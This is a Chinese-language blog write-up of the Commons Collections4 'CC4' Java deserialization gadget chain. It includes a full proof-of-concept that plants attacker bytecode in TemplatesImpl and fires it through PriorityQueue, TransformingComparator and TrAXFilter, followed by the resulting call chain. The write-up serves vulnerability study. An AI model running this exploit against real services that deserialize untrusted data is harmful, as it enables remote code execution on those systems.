JAVA反序列化之CommonCollections4利用链

JAVA反序列化之CommonCollections4利用链

Gat1ta 1,465 2022-01-23

前言

CC4是commons-collections4版本的第二条利用链,类似CC2和CC3利用链的组合,其中用到的类之前都分析过,这里就简单过一下。
因为是4.0版本,所以依赖先下载一下,在pom文件里加入:

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

看一下yso代码:
image.png
大概步骤的意思已经写在截图里了,就不在赘述了。其中用到的每一个类都已经分析过了,这里就简单过一下。

PriorityQueue类

在CC2的利用链分析过。
主要是作为反序列化的入口,通过PriorityQueue.readObject进入调用链,最终会触发TransformingComparator.compare。

TransformingComparator类

在CC2的利用链分析过。
主要作用为通过TransformingComparator.compare方法调用Transformer.transform方法。

TrAXFilter类

在CC3中了解过。
主要是通过TrAXFilter类的构造函数来调用Templates.newTransformer加载字节码。

构造POC

    public static void main(String[] args) throws Exception {
        //将构造好的exp类字节码读入
        byte[] fileData = readFileToByte("E:\\Development\\SourceCode\\SourceCode_Java\\Unserialize\\exp.class");
        //构造TemplatesImpl对象
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
        setFieldValue(templatesImpl, "_name", "exp");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        //构造Transformer调用链
        ConstantTransformer constant = new ConstantTransformer(String.class);
        InstantiateTransformer instantiate = new InstantiateTransformer(
                new Class[] { String.class }, new Object[] { "foo" });
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        //构造PriorityQueue对象用于反序列化入口点
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));

        queue.add(templatesImpl);
        queue.add("test");
        //将真正的payload数据填入
        setFieldValue(constant,"iConstant", TrAXFilter.class);
        setFieldValue(instantiate,"iParamTypes",new Class[]{Templates.class});
        setFieldValue(instantiate,"iArgs",new Object[]{templatesImpl});
        //序列化
        ByteOutputStream bout = new ByteOutputStream();
        ObjectOutputStream obo = new ObjectOutputStream(bout);
        obo.writeObject(queue);
        //反序列化触发调用链
        ByteInputStream bip = new ByteInputStream(bout.getBytes(),bout.size());
        ObjectInputStream ois = new ObjectInputStream(bip);
        ois.readObject();
    }

运行POC得到如下界面:
image.png

调用链

PriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
ChainedTransformer.transform
ConstantTransformer.transform
InstantiateTransformer.transform
TrAXFilter.TrAXFilter
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
TemplatesImpl.TransletClassLoader.defineClass

总结

整体来说这条链比较简单,可能是因为没有出现没见过的类的原因。